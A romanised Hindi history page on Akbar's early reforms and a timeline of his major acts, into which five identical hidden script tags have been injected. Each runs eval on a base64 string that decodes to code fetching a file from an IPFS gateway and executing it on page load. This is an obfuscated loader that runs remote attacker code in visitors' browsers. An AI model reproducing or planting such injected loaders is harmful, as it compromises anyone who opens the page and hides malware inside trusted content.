अकबर के प्रारम्भिक सुधार
akabar ke prarambhik sudhar
| |
| poora nam | jalaluddin muhammad akabar |
| janm | 15 aktoobar san 1542 (lagabhag) |
| janm bhoomi | amarakot, sindh (pakistan) |
| mrityu tithi | 27 aktoobar, san 1605 (umr 63 varsh) |
| mrityu sthan | fatehapur sikari, agara |
| pita/mata | humayooan, mariyam maqani |
| pati/patni | mariyam-uzh-zamani (haraka baee) |
| santan | jahaangir ke alava 5 putr 7 betiyaan |
| shasan kal | 27 janavari, 1556 - 27 aktoobar, 1605 ee. |
| rajyabhishek | 14 faravari, 1556 kalanapur ke pas guradasapur |
| yuddh | panipat, haldighati |
| rajadhani | fatehapur sikari agara, dilli |
| poorvadhikari | humayooan |
| uttaradhikari | jahaangir |
| rajagharana | mugal |
| maqabara | sikandara, agara |
| sanbandhit lekh | mugal kal |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
mugal vistar ka sabase b da bhag akabar ke shasanakal (1556-1605 ee.) ke dauran nipun hua. vartaman bharatiy upamahadvip ke uttaradhikari jahaangir, shahajahaan aur aurangazeb dvara is samrajy ko agale sau sal ke lie pramukh shakti ke roop mean banaya rakha gaya tha. pahale chhah samrat, jinhoanne donoan "vidhi sammat" aur "relh" shaktiyoan ka anand liya, unhean amataur par sirph ek hi nam se ullekh karate haian, ek shirshak jo pratyek maharaj dvara apane parigrahan par apanaee jati thi. akabar ne katipay mahatvapoorn nitiyoan ko shuroo kiya tha, jaise ki dharmik udaravad (jaziya kar ka unmoolan), samrajy ke mamaloan mean hinduoan ko shamil karana aur rajanitik gathabandhan/hindoo rajapoot jati ke sath vivah, jo ki unake vatavaran ke lie abhinav the.
prarambhik sudhar
akabar ne apane rajy mean kee sudhar kie the. mugalakalin shasan vyavastha mean usaka mahattvapoorn sthan hai. usake samay mean kie ge kuchh sudhar is prakar se haian-
- yuddh mean bandi banaye gaye vyaktiyoan ke parivar ke sadasyoan ko das banane ki parampara ko to date hue akabar ne das pratha par 1562 ee. se poornatah rok laga di.
- praranbh mean akabar ‘haram dal’ ke prabhav mean tha. is dal ke pramukh sadasy- dhay maham anaga, jiji anaga, adaham khaan, munam khaan, shihabuddin ahamad khaan the. jab tak akabar ne is dal ke prabhav mean kam kiya, tab tak ke shasan ko ‘petikot sarakar’ v ‘parda shasan’ bhi kaha jata hai.
- agast, 1563 ee. mean akabar ne vibhinn tirth sthaloan par lagane vale ‘tirth yatra kar’ ki vasooli ko band karava diya.
- march, 1564 ee. mean akabar ne ‘jaziya kar’, jo gair-muslim jan se vyakti kar ke roop mean vasoola jata tha, ko band karava diya.
- 1571 ee. mean akabar ne fatehapur sikari ko apani rajadhani banaya.
- 1583 ee. mean akabar ne ek naya kailendar 'ilahi sanvat' jari kiya.
- akabar ne sati pratha par rok lagane ka prayas kiya, vidhava vivah ko protsahit kiya.
- l dakoan ke vivah ki nyoonatam ayu 16 varsh tatha l dakiyoan ke vivah ki nyoonatam ayu 14 varsh nirdharit ki gee.
mahattvapoorn kary
| varsh | kary |
|---|---|
| 1562 ee. | das pratha ka ant |
| 1562 ee. | akabar ki ‘haramadal’ se mukti |
| 1563 ee. | tirth yatra kar samapt |
| 1564 ee. | jaziya kar samapt |
| 1565 ee. | dharm parivartan par pabandi |
| 1571 ee. | fatehapur sikari ki sthapana |
| 1571 ee. | rajadhani agara se fatehapur sikari sthanantarit |
| 1575 ee. | ibadat khane ki sthapana |
| 1578 ee. | ibadat khane mean sabhi dharmoan ka pravesh |
| 1579 ee. | ‘mazahar’ ki ghoshana |
| 1582 ee. | ‘din-e-ilahi’ ki ghoshana |
| 1582 ee. | soory pooja v agni pooja ka prachalan karaya |
| 1583 ee. | ilahi sanvath ki sthapana |
| left|30px|link=akabar ka sahasi vyaktittv|pichhe jaean | akabar ke prarambhik sudhar | right|30px|link=akabar ki uttar bharat par vijay|age jaean |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
|
|
|
|
|
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
tika tippani aur sandarbh
sanbandhit lekh
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>